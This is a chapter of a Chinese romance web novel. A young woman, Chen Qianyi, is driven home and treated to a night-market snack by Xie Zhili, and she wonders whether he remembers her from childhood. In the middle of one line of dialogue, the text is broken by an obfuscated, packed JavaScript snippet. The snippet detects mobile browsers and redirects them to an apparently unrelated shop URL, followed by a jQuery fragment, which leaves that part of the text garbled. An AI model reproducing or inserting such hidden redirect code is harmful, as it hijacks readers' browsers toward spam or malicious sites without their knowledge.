陈千宜走下了一格台阶,看着谢知礼到面前。她挠挠头,不知道该怎么说。
谢知礼却先主动开口了,他看着她的眼睛,说,“我忽然想起来我家和你家顺路,想问问你愿不愿意我一起送你回去?”
陈千宜微微抬头看着路灯下他的眼睛,一时间脑袋空白到只剩下一万个“我愿意”在转,但她知道,他问的不是那件事。
陈千宜保持着矜持,眨眨眼微红着脸答应下来,然后跟着他上了副驾。
关上车门后,车内的空气像是有些不够呼吸,陈千宜瞬间觉得脸烫起来。
她扭头和谢知礼对视一眼,立刻转头慌张地打开了点车窗,笑了下,“那个,我有点热。”
话音落,谢知礼弯唇偷笑了下。
陈千宜立刻捕捉到这转瞬即逝的笑,还想说什么,紧接着手边递过来一瓶水。
她垂眸,愣了下还是接过来,抬眸看着谢知礼单手在方向盘上一转,车便稳稳开上了主路。
“谢谢啊。”
矿泉水瓶盖已经被拧松过,陈千宜轻轻一转就打开,小口抿了下又盖上了。
车内很安静,陈千宜偷偷看着他认真开车的侧脸,心里再一次晃起涟漪。
谢知礼,你真的一点也不记得我了吗?
那陈千颂呢?那年你们离开石白镇后,到底发生了什么?
想着想着,陈千宜自己也没注意矿泉水瓶被捏得凹进去一块,似乎感受到谢知礼时不时传来的视线,她低头立刻松开了水瓶。
陈千宜刚想解释,口袋里手机忽然响了起来,拿出来接上电话,是陈阿婆打来的。
她想,估计是实在放心不下也睡不着,翻来覆去才决定打来问问情况。
陈千宜如实相告,并说了,“医生说手术很成功,阿嫲您就不要太担心,早点睡吧。”
阿嫲在那头忍不住叹息,说程程这孩子歹命哦,受了很大罪。无意识又提到陈千颂,说两个孩子都歹命哦。
陈千宜听得心里一跳一跳的,忽然看了眼身边的人,许久,她才打断阿婆的话,“好了,阿嫲,我知道了,挂了啊。”
电话很快挂断,想着那些话,陈千宜执拗地把脸撇向窗外,抿着唇,难得地默不作声,目光低垂。
车子迅速穿过隧道冲向尽头那抹看不见的光亮,光影在脸上流转。
然而车子穿过隧道,拐了几道弯,稳稳停在某块繁华的夜市。
陈千宜一愣,回头看谢知礼。
谢知礼熄了火,语气四平八稳地问她,“饿吗,带你去吃夜宵?”
陈千宜这才忽然想起来晚上根本没来得及吃饭,一闻到香味全身的夜宵因子都忍不住活跃起来。
这会儿,陈千宜一边解安全带一边疯狂点头,“吃哇!”
下了车,谢知礼关个车门的功夫,陈千宜站在那里闻着香味慢慢溢出来,已经按捺不住。
陈千宜想,这人怎么干什么都慢悠悠的,她真的快饿死啦。
两人隔着一辆车,谢知礼没动,视线缓缓垂落,盯着陈千宜脚下正站着那一摊污水,轻皱了皱眉。
陈千宜实在不懂这人到底为什么磨磨蹭蹭,实在受不了,大步流星走了过来。
“哎哟,快点啦!”说话间,陈千宜拽着他外套,转身已经拉着他一起越过了那摊污水。
“我发现你这人真的很慢诶,干什么都不着急。”
陈千宜一边拽着谢知礼的袖子,一边吐槽道。
“……”
陈千宜说完话,回头发现这人一直闷葫芦似的,忽然惊醒。
站在他的视角,他认识自己不过才一天不到。
她缓缓回头,他穿一身黑融入这漆黑的夜色,即便是被人拽着走,整个人都看起来游刃有余。
视线上抬,她某一刻屏息,忽然和谢知礼那双漆黑的眸子撞了个满怀。
她发现这人眼睛属于越看越好看,宽眼皮总是带些慵懒,而内眼角的锋利,由内而外散发着一股少年气。
就像她第一次见他那样。
“咳咳……”
陈千宜一愣,发现对方正坦然地盯着自己看,耳尖不自觉地泛红。
她立刻不着痕迹地松开了他外套,还不忘拍拍他衣服被扯出来的褶皱,笑了下,“哎呀,你说我们都认识一天了,养条狗都熟了吧,所以,”
所以我们应该算朋友了吧?
那双漆黑的眸子闪了闪,直勾勾地穿越夜色盯着她。
“……”
陈千宜哭笑不得,急中生智地转移话题,“那个我饿了,我想吃关东煮。”
迅速逃离现场。
关东煮摊前,陈千宜大手一挥点了三十多块钱,小摊目之所及都空了不少。
摊主阿姨笑得合不拢嘴,向站在陈千宜身后的谢知礼夸道,“小伙子,你女朋友真能吃。”
“……”
陈千宜实实在在愣了下,咬了咬下嘴唇,犹豫着刚要解释,谢知礼手一抬已经把钱付了。
她回头看了眼谢知礼,他替她接过吃的,看着她眼睛轻声说了句,“走吧。”
陈千宜看了眼老板娘,只好转头跟上谢知礼。
晚上山谷里风吹着冷,谢知礼低头看陈千宜穿得少,问她要不要去车上吃。
陈千宜把手往口袋捂了捂,原地跳了跳,笑着拒绝了,偏说就得在外面冻着吃才好吃。
谢知礼虽然不懂她到底在想什么,甚至在想,这脑袋瓜该不会就是这样被冻坏的吧?
然而最后,他抽了把凳子在临时支起的小桌前面对着陈千宜坐下了。
夜幕降临,月亮安静地升在半空中。烟火气从各个小摊缓缓上升,漂浮在半空中。
陈千宜把手放在关东煮纸壳外捂了捂,手心才暖和起来,她抬头看谢知礼,安静坐着,也不玩手机,就……纯陪伴。
“谢知礼,”陈千宜眼睛眨了眨,忽然喊他名字。
“嗯?”他应了声。
陈千宜得意地歪嘴笑了下,从自己兜里掏出个金黄的烤玉米,递给他。
谢知礼视线垂落在他手心,又迅速抬眸,看着她。
陈千宜说,“为了感谢你请我吃了我最爱的关东煮,所以,礼尚往来嘛!我请你吃我最最最爱的烤玉米!”
看谢知礼没打算接,陈千宜急了,站起来都把玉米塞到谢知礼怀里去。
她说道,“哎呀!我开玩笑的,我只是不习惯有人看着我吃,这样,你陪我一起吃嘛。”
“谢谢。”
看着谢知礼接了,陈千宜才放心笑了下。
谢知礼就觉得这姑娘越长大越奇怪,刚才老板娘那么说她,她竟然也不反驳,现在又因为一个玉米笑得这么开心。
陈千宜吃着关东煮无聊,忽然又抬头问谢知礼,“谢知礼,你刚才为什么不反驳老板娘的话?”
“反驳什么?”谢知礼问。
陈千宜想了想,忽然笑了起来,
“欸,谢知礼,你就应该说,喂!我们不是那种关系啊,我们只是才认识一天,一天狗都养不熟。”
“啊。”谢知礼十分礼貌地笑了笑。
抓见谢知礼笑了,陈千宜乘胜追击问他,“好笑吗?欸,是不是好笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375589|200090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
陈千宜为自己的冷幽默拍手叫绝,忽然听见谢知礼反问她,“你也没反驳她。”
陈千宜大手一挥,道,“她说的也是事实嘛,我阿嫲说了,能吃是福,再说了,我也吃不胖呀!”
说着说着,陈千宜摇头晃脑起来,背后有一盏很亮的路灯,她一头蓬松的羊毛卷跟着一晃一晃的。
笑着笑着,陈千宜忽然愣住。
这句话,很多年前发生过。
那天她和陈千颂吵架了。
她气得不行,于是自己一个人跑到小镇上胡吃海喝,结果吃到第三家店的时候被谢知礼抓包了。
谢知礼笑她,“哪里见过像你这么能吃的小姑娘?”
陈千宜气呼呼地一字一句说给他听,“我阿嫲说,能、吃、是、福!略略略!”
......
一下这么年过去了。
陈千宜忽然抬头看向眼前这个人,眼眶忽然红了起来。
不对,他一定记得。
当时店里那么挤,那么多人,他都能找到角落里小小一只,那么平凡无奇的一个人,不可能相处了这么久还认不出来。
“谢知礼,”
陈千宜刚要开口问,对面先说话了。
“走吗?”他问。
“走。”陈千宜愣了下,眼里的光一下子暗了下来,她起身,“走吧。”
回去的路上很安静。
兴许是真的进入小镇,家家户户都关了灯,路边只剩下几盏安静路灯守着整个小镇。
陈千宜吃饱了就安安静静睡了一路,再次睁开眼前面再拐一圈就是陈家小院了。
她睁眼望着路灯闪烁,忽然转头问谢知礼,“谢知礼,你觉得,我适合当老师吗?”
对面显然不知道为什么这么问,一脸茫然,还笑了下问她,“你睡到哪个年代去了,干嘛问这个?”
“你别管,你就认真回答我。”陈千宜挺直脊背坐起来,认真地看着谢知礼。
车稳稳地停在小院门口,谢知礼才回头对上陈千宜的目光。
陈千宜听见,谢知礼目光坚定,非常认真地点头告诉她,“你认真负责,活泼开朗,为什么不适合?”
陈千宜本只是想要个答案,却未曾想被夸了一圈,顿时有点飘飘然觉得自己像在做梦。
最后怎么下车的她也不知道了,只记得她一个劲地朝谢知礼挥手,蹦蹦跳跳地回家还差点摔了一跤。
陈千宜蹑手蹑脚回到陈家小院,从一楼往上爬。
三楼楼梯灯早上谢知礼修好了,脚刚踏上去啪嗒一声亮起来。
她吓了一跳才反应过来。
昨晚喝完酒,她半夜三点下去二楼上厕所,楼梯转角这灯坏了一直闪。
她觉得恐怖干脆就不开灯摸黑下去,结果踩空了直接滚了下去,今早起来一看腿上还有一大片淤青。
她还以为阿嫲在一楼睡觉听不见的……
带着感动正要上楼,陈千宜听见一楼忽然传来一声中气十足的一句,
“陈千宜!”
一扭头,她亲爱的陈阿婆女士拖着还会发光的水晶塑料鞋哒哒哒地跑出来,气势汹汹地指着她,
“去医院看人看到半夜才回家噢,饭都凉了!”
陈千宜在楼梯上被吓得颤了一下,拜托,感动归感动,您别吓人行吗?
她无奈扯着嗓子回复,“我在外面吃过了回来的。”
一楼没了声音,陈千宜以为阿嫲回房睡觉,要上楼时忽然听见陈阿婆质问,
“我听见有车的声音,谁好心给送你回来啊?”